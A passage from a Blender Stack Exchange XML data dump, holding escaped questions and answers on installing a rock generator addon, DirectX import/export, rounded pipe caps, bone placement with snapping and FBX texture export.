&amp;rarr;  &lt;em&gt;File&lt;/em&gt;  &amp;rarr;  &lt;em&gt;User Preferences&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dNRNV.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on &lt;em&gt;Addons&lt;/em&gt; at the top of the Preferences window, and then click on the &lt;em&gt;Install from File&lt;/em&gt; button at the bottom of the window: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Nv8N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Find the addon file and select it. (&lt;strong&gt;NOTE:&lt;/strong&gt; The file can be a &lt;code&gt;.zip&lt;/code&gt; file -- you don't have to unzip it first.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the &lt;em&gt;Install from File&lt;/em&gt; button&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then enable the addon by clicking on it's checkbox on the far right&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want this addon to be enabled by default in the future, click on the &lt;em&gt;Save User Settings&lt;/em&gt; button:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6cEi8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To add a rock to your scene:&lt;br&gt;&#xA;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Mesh -&gt; Rock Generator&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kRQSJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust all the settings:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KBATI.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One very neat feature is that you can make as many rocks as you want all at once, &lt;strong&gt;&lt;em&gt;each one unique&lt;/em&gt;&lt;/strong&gt;, by setting the Number of Rocks at the top -- here I'm making 500 all at once:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VnQzT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice at the very bottom, there are some presets:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XwP8D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; You &lt;strong&gt;MUST&lt;/strong&gt; set all the settings the way you want them to be before you do &lt;strong&gt;ANYTHING&lt;/strong&gt; else, otherwise they cannot be changed through the same settings panel. After you click away from the rocks, you can only modify their parameters via the modifiers that are on them:&lt;br&gt;&#xA;&lt;em&gt;Object Properties&lt;/em&gt; panel -&gt; &lt;em&gt;Modifiers&lt;/em&gt; tab&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Apply All Modifiers BEFORE Rendering&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One thing to be careful of is that each rock created has many modifiers on it and these &lt;strong&gt;DRAMATICALLY&lt;/strong&gt; slow down rendering speed! So, to get around this, you really need to Apply all modifiers &lt;strong&gt;BEFORE&lt;/strong&gt; attempting to render your scene. To do this you can do either of the following:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Manually Apply Modifiers:&lt;/strong&gt;  This is an easy method, but it can take a lot of time if you have more than 1 rock:&lt;br&gt;&#xA;Select rock -&gt; Object Properties panel -&gt; Modifiers tab -&gt; click the Apply button on the modifier  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CMPED.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Convert All Rocks to Mesh:&lt;/strong&gt; This is the best and quickest method if you don't want to sit around clicking &quot;Apply&quot; for a long time:&lt;br&gt;&#xA;Select ALL the rocks at once -&gt; &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; -&gt; Convert to Mesh  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will very easily Apply &lt;strong&gt;ALL&lt;/strong&gt; the modifiers without you having to do anything else and you can now render quickly and easily:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OsITQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-05-15T22:21:29.010" LastActivityDate="2014-05-15T22:21:29.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8748" PostTypeId="2" ParentId="8744" CreationDate="2014-04-21T03:03:36.690" Score="-1" Body="&lt;p&gt;In most game engines I would be basing the animations on several starting frames, that is for example: &#xA;Run animation = frame 0 -&gt; 59 &#xA;Idle animation = frame 60 -&gt; 119&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing a quick google of &quot;Blender Multiple Animations&quot; brought up this as the first link however:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://eelstork.deviantart.com/art/Multiple-animations-in-the-same-file-Blender-Tut-321883259&quot; rel=&quot;nofollow&quot;&gt;http://eelstork.deviantart.com/art/Multiple-animations-in-the-same-file-Blender-Tut-321883259&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3202" LastActivityDate="2014-04-21T03:03:36.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8749" PostTypeId="2" ParentId="8740" CreationDate="2014-04-21T03:50:44.807" Score="4" Body="&lt;h2&gt;Enabling Import &amp;amp; Export of DirectX 3D Model file format .X&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Blender 2.70 comes with the &quot;DirectX X Format&quot; Export addon built-in.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the &quot;DirectX Importer&quot; Import addon is &lt;strong&gt;&lt;em&gt;not&lt;/em&gt;&lt;/strong&gt; built-in. If you'd like to have the ability to import .X files, you can download it in &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?330884-Blender-2-70-released-!&amp;amp;p=2602818&amp;amp;viewfull=1#post2602818&quot; rel=&quot;nofollow noreferrer&quot;&gt;this addon bundle&lt;/a&gt;.   (&lt;strong&gt;Note:&lt;/strong&gt; that post describes how to add the addon to Blender's scripts folder.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable these:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Info header -&gt; File -&gt; User Preferences  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dNRNV.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, in the search box, type Direct. Two DirectX addons will appear: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The one named &quot;DirectX Importer&quot; provides the ability to &lt;strong&gt;Import&lt;/strong&gt; .X files&lt;br&gt;&#xA;The one named &quot;DirectX X Format&quot; provides the ability to &lt;strong&gt;Export&lt;/strong&gt; .X files&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the checkbox at the right hand side of the addon to enable it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to always have these import/export options in your File menu, then click on the Save User Settings button at the bottom of the screen:  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y5d50.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You will then have the .X file format as import &amp;amp; export options:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/evDee.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-21T04:24:45.837" LastActivityDate="2014-04-21T04:24:45.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8750" PostTypeId="1" AcceptedAnswerId="8752" CreationDate="2014-04-21T05:29:16.843" Score="13" ViewCount="5877" Body="&lt;p&gt;I was trying to make a pipe with rounded cap or ends. Something like in the image, where I just added to spheres as &quot;ends&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ghB5x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already surfed the internet a little and it looks like an uncovered issue, as simple as it seems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to do this because I want to animate it later, like some type of growing body of water.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the method I'm trying out now is using a Bezier curve and applying some bevel, because of the &quot;start bevel factor&quot; and &quot;end bevel factor&quot; parameters which can modify the length of the pipe from its start or its end. Very handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've tried later, was to select a sphere for the bevel object, so it would return a pipe with rounded caps... but it was impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm totally open to new approaches, if you have any ideas! &lt;/p&gt;&#xA;" OwnerUserId="1867" LastEditorDisplayName="user12855" LastEditDate="2015-06-06T08:49:54.443" LastActivityDate="2015-07-02T18:03:56.437" Title="Pipe with round caps (ends)?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8752" PostTypeId="2" ParentId="8750" CreationDate="2014-04-21T06:38:11.610" Score="14" Body="&lt;p&gt;You can do this with an array modifier and a curve modifier (see &lt;a href=&quot;https://blender.stackexchange.com/a/2867/599&quot;&gt;this post&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a slightly extruded circle/cylinder with no caps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RWxFp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an array modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P3u22.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a curve modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N3Vey.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the array to deform as expected the object origins must be in the same place.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add two half spheres as start and end caps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tgz5M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the length can be animated with the &lt;em&gt;Count&lt;/em&gt; value of the array modifier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/312/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=312&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-07-02T18:03:56.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8753" PostTypeId="2" ParentId="8744" CreationDate="2014-04-21T07:57:23.843" Score="4" Body="&lt;p&gt;you can create multiple animations for a single object. &#xA;There are 2 ways to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either key frame your animation on time line as mentioned by @Xortrox above , or do some advance working in dopesheet/action editor, which allows you to create multiple animations, all seperate in their own animation set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer the 2nd option of dope sheet editor, as it gives more flexibility.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0GZPh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TNCKR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2014-04-21T07:57:23.843" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8754" PostTypeId="1" CreationDate="2014-04-21T09:21:28.793" Score="1" ViewCount="1022" Body="&lt;p&gt;I have a beginner Rhino background and now I have to work with 3D scanned objects: I need to modify them and send for prototyping. The main issue I have to start with is that edges are not smooth at all...&#xA;Which software do you suggest me to work with? Is Blender a good option? Do you have a learning path I can follow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3207" LastActivityDate="2014-08-19T19:39:16.387" Title="Software to work with 3D scan and prototyping" Tags="&lt;mesh&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8755" PostTypeId="2" ParentId="8738" CreationDate="2014-04-21T10:38:29.880" Score="0" Body="&lt;p&gt;It seems that only &lt;em&gt;Keying Sets&lt;/em&gt; like location, rotation accessible from the &lt;em&gt;Keyframe Menu&lt;/em&gt; are stored in the currently active &lt;em&gt;Action&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each other property like influence slider values, colors, transparency etc. an F-curve associated to the object is created and holds the keyframes and some kind of virtual &lt;em&gt;Action Strip&lt;/em&gt; is added to the &lt;em&gt;NLA Editor&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-21T10:38:29.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8756" PostTypeId="1" AcceptedAnswerId="8757" CreationDate="2014-04-21T11:43:38.530" Score="7" ViewCount="10552" Body="&lt;p&gt;I tried to position the hand bones of my &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Rigging/Armatures&quot;&gt;rig / armature&lt;/a&gt;, but it was SO difficult to get all those little bones to align in 3D space accurately, even when I was using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View&quot;&gt;Quad View&lt;/a&gt;. After working on it for quite a while, I was SO frustrated I was ready to give up because I just couldn't get the bones positioned at all. Is there any way to do this quickly and easily?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2020-03-28T23:27:25.780" Title="How can I position bones in a model easily and precisely?" Tags="&lt;modeling&gt;&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8757" PostTypeId="2" ParentId="8756" CreationDate="2014-04-21T11:43:38.530" Score="13" Body="&lt;h2&gt;Quick and Precise Bone Placement using Snap To&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Positioning bones in a model can be quickly and easily achieved using two of Blender's &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;Snap To commands&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Snap Selection to Cursor:&lt;/strong&gt; this moves/snaps the selected object to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point/3D_Cursor&quot; rel=&quot;nofollow noreferrer&quot;&gt;3D Cursor&lt;/a&gt; ( &lt;img src=&quot;https://i.stack.imgur.com/3PAX2.png&quot; alt=&quot;enter image description here&quot;&gt; )&lt;br&gt;&#xA;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; -&gt; Snap Selected to Cursor&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Snap Cursor to Selected:&lt;/strong&gt; this snaps the 3D Cursor to the selected object&lt;br&gt;&#xA;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; -&gt; Snap Cursor to Selected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SImGH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For this method of bone placement, you will also want to enable two Interface preferences:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;Zoom to Mouse Position&lt;/a&gt;: When enabled, the mouse pointer position becomes the focus point of zooming, instead of the 2D window center. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rotate Around Selection&lt;/a&gt;: When enabled, the selected object becomes the rotation center of the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FSoRC.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One other option that is very important is to make sure you can see your rig's bones even when they are inside the mesh. This is done by enabling &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Armatures/Visualization&quot; rel=&quot;nofollow noreferrer&quot;&gt;X-Ray&lt;/a&gt; for your rig:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/coGnt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With these preferences enabled, you can now very easily examine your figure's mesh and begin to position the bones. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Positioning the Bones&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are 3 parts of a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Armatures/Bones&quot; rel=&quot;nofollow noreferrer&quot;&gt;bone&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the Head (or Root)  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the Body&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the Tail (or Tip)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SJqck.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The key to this technique is to: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Find and select 2 vertices on opposite sides of your mesh's surface where you want to position the bone's tail:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OPk7A.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; In order to see through the mesh, make sure &quot;Limit Selection to Visible&quot; is disabled:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FZWAb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now, with those 2 points selected, use Snap 3D Cursor to Selected&lt;br&gt;&#xA;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; -&gt; Snap Cursor to Selected &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WUNY1.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This positions the 3D Cursor directly between the two selected vertices, exactly where we want to put the bone tail.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now select the bone tail and snap it to the 3D Cursor:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AOKsp.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now we want to position the head of the bone at the tip of the finger. To do this, we select one vertex on the fingertip and snap the cursor to it:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6raw5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next, we snap the bone head to the 3D cursor:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QU1E5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bone is now perfectly positioned.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2020-03-28T23:27:25.780" LastActivityDate="2020-03-28T23:27:25.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8759" PostTypeId="1" CreationDate="2014-04-21T12:22:28.167" Score="1" ViewCount="3114" Body="&lt;p&gt;I want to export my blender model as a .fbx file. &#xA;The model (eg. a cube) has a material and a uv-mapped texture attatched to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the reference to the texture (.png file located seperately from the .fbx) in the .fbx file when I open the file in a text editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]Material: &quot;Material::Material_002__uvlayout_png_png&quot;, &quot;&quot; {&#xA;    Version: 102&#xA;    ShadingModel: &quot;lambert&quot;&#xA;    MultiLayer: 0&#xA;    Properties60:  {&#xA;        Property: &quot;ShadingModel&quot;, &quot;KString&quot;, &quot;&quot;, &quot;Lambert&quot;&#xA;        Property: &quot;MultiLayer&quot;, &quot;bool&quot;, &quot;&quot;,0&#xA;        Property: &quot;EmissiveColor&quot;, &quot;ColorRGB&quot;, &quot;&quot;,0.8000,0.8000,0.8000&#xA;        Property: &quot;EmissiveFactor&quot;, &quot;double&quot;, &quot;&quot;,0.0000&#xA;        Property: &quot;AmbientColor&quot;, &quot;ColorRGB&quot;, &quot;&quot;,1.0000,1.0000,1.0000&#xA;        Property: &quot;AmbientFactor&quot;, &quot;double&quot;, &quot;&quot;,1.0000&#xA;        Property: &quot;DiffuseColor&quot;, &quot;ColorRGB&quot;, &quot;&quot;,0.8000,0.8000,0.8000&#xA;        Property: &quot;DiffuseFactor&quot;, &quot;double&quot;, &quot;&quot;,0.8000&#xA;        Property: &quot;Bump&quot;, &quot;Vector3D&quot;, &quot;&quot;,0,0,0&#xA;        Property: &quot;TransparentColor&quot;, &quot;ColorRGB&quot;, &quot;&quot;,1,1,1&#xA;        Property: &quot;TransparencyFactor&quot;, &quot;double&quot;, &quot;&quot;,0.0000&#xA;        Property: &quot;SpecularColor&quot;, &quot;ColorRGB&quot;, &quot;&quot;,1.0000,1.0000,1.0000&#xA;        Property: &quot;SpecularFactor&quot;, &quot;double&quot;, &quot;&quot;,0.5000&#xA;        Property: &quot;ShininessExponent&quot;, &quot;double&quot;, &quot;&quot;,12.3&#xA;        Property: &quot;ReflectionColor&quot;, &quot;ColorRGB&quot;, &quot;&quot;,0,0,0&#xA;        Property: &quot;ReflectionFactor&quot;, &quot;double&quot;, &quot;&quot;,1&#xA;        Property: &quot;Emissive&quot;, &quot;ColorRGB&quot;, &quot;&quot;,0,0,0&#xA;        Property: &quot;Ambient&quot;, &quot;ColorRGB&quot;, &quot;&quot;,1.0,1.0,1.0&#xA;        Property: &quot;Diffuse&quot;, &quot;ColorRGB&quot;, &quot;&quot;,0.8,0.8,0.8&#xA;        Property: &quot;Specular&quot;, &quot;ColorRGB&quot;, &quot;&quot;,1.0,1.0,1.0&#xA;        Property: &quot;Shininess&quot;, &quot;double&quot;, &quot;&quot;,12.3&#xA;        Property: &quot;Opacity&quot;, &quot;double&quot;, &quot;&quot;,1.0&#xA;        Property: &quot;Reflectivity&quot;, &quot;double&quot;, &quot;&quot;,0&#xA;    }&#xA;}&#xA;Video: &quot;Video::uvlayout_png_png&quot;, &quot;Clip&quot; {&#xA;    Type: &quot;Clip&quot;&#xA;    Properties60:  {&#xA;        Property: &quot;FrameRate&quot;, &quot;double&quot;, &quot;&quot;,0&#xA;        Property: &quot;LastFrame&quot;, &quot;int&quot;, &quot;&quot;,0&#xA;        Property: &quot;Width&quot;, &quot;int&quot;, &quot;&quot;,0&#xA;        Property: &quot;Height&quot;, &quot;int&quot;, &quot;&quot;,0&#xA;        Property: &quot;Path&quot;, &quot;charptr&quot;, &quot;&quot;, &quot;uvlayout.png.png&quot;&#xA;        Property: &quot;StartFrame&quot;, &quot;int&quot;, &quot;&quot;,0&#xA;        Property: &quot;StopFrame&quot;, &quot;int&quot;, &quot;&quot;,0&#xA;        Property: &quot;PlaySpeed&quot;, &quot;double&quot;, &quot;&quot;,1&#xA;        Property: &quot;Offset&quot;, &quot;KTime&quot;, &quot;&quot;,0&#xA;        Property: &quot;InterlaceMode&quot;, &quot;enum&quot;, &quot;&quot;,0&#xA;        Property: &quot;FreeRunning&quot;, &quot;bool&quot;, &quot;&quot;,0&#xA;        Property: &quot;Loop&quot;, &quot;bool&quot;, &quot;&quot;,0&#xA;        Property: &quot;AccessMode&quot;, &quot;enum&quot;, &quot;&quot;,0&#xA;    }&#xA;    UseMipMap: 0&#xA;    Filename: &quot;uvlayout.png.png&quot;&#xA;    RelativeFilename: &quot;uvlayout.png.png&quot;&#xA;}&#xA;Texture: &quot;Texture::uvlayout_png_png&quot;, &quot;TextureVideoClip&quot; {&#xA;    Type: &quot;TextureVideoClip&quot;&#xA;    Version: 202&#xA;    TextureName: &quot;Texture::uvlayout_png_png&quot;&#xA;    Properties60:  {&#xA;        Property: &quot;Translation&quot;, &quot;Vector&quot;, &quot;A+&quot;,0,0,0&#xA;        Property: &quot;Rotation&quot;, &quot;Vector&quot;, &quot;A+&quot;,0,0,0&#xA;        Property: &quot;Scaling&quot;, &quot;Vector&quot;, &quot;A+&quot;,1,1,1&#xA;        Property: &quot;Texture alpha&quot;, &quot;Number&quot;, &quot;A+&quot;,0&#xA;        Property: &quot;TextureTypeUse&quot;, &quot;enum&quot;, &quot;&quot;,0&#xA;        Property: &quot;CurrentTextureBlendMode&quot;, &quot;enum&quot;, &quot;&quot;,1&#xA;        Property: &quot;UseMaterial&quot;, &quot;bool&quot;, &quot;&quot;,0&#xA;        Property: &quot;UseMipMap&quot;, &quot;bool&quot;, &quot;&quot;,0&#xA;        Property: &quot;CurrentMappingType&quot;, &quot;enum&quot;, &quot;&quot;,0&#xA;        Property: &quot;UVSwap&quot;, &quot;bool&quot;, &quot;&quot;,0&#xA;        Property: &quot;WrapModeU&quot;, &quot;enum&quot;, &quot;&quot;,0&#xA;        Property: &quot;WrapModeV&quot;, &quot;enum&quot;, &quot;&quot;,0&#xA;        Property: &quot;TextureRotationPivot&quot;, &quot;Vector3D&quot;, &quot;&quot;,0,0,0&#xA;        Property: &quot;TextureScalingPivot&quot;, &quot;Vector3D&quot;, &quot;&quot;,0,0,0&#xA;        Property: &quot;VideoProperty&quot;, &quot;object&quot;, &quot;&quot;&#xA;    }&#xA;    Media: &quot;Video::uvlayout_png_png&quot;&#xA;    FileName: &quot;uvlayout.png.png&quot;&#xA;    RelativeFilename: &quot;uvlayout.png.png&quot;&#xA;    ModelUVTranslation: 0,0&#xA;    ModelUVScaling: 1,1&#xA;    Texture_Alpha_Source: &quot;None&quot;&#xA;    Cropping: 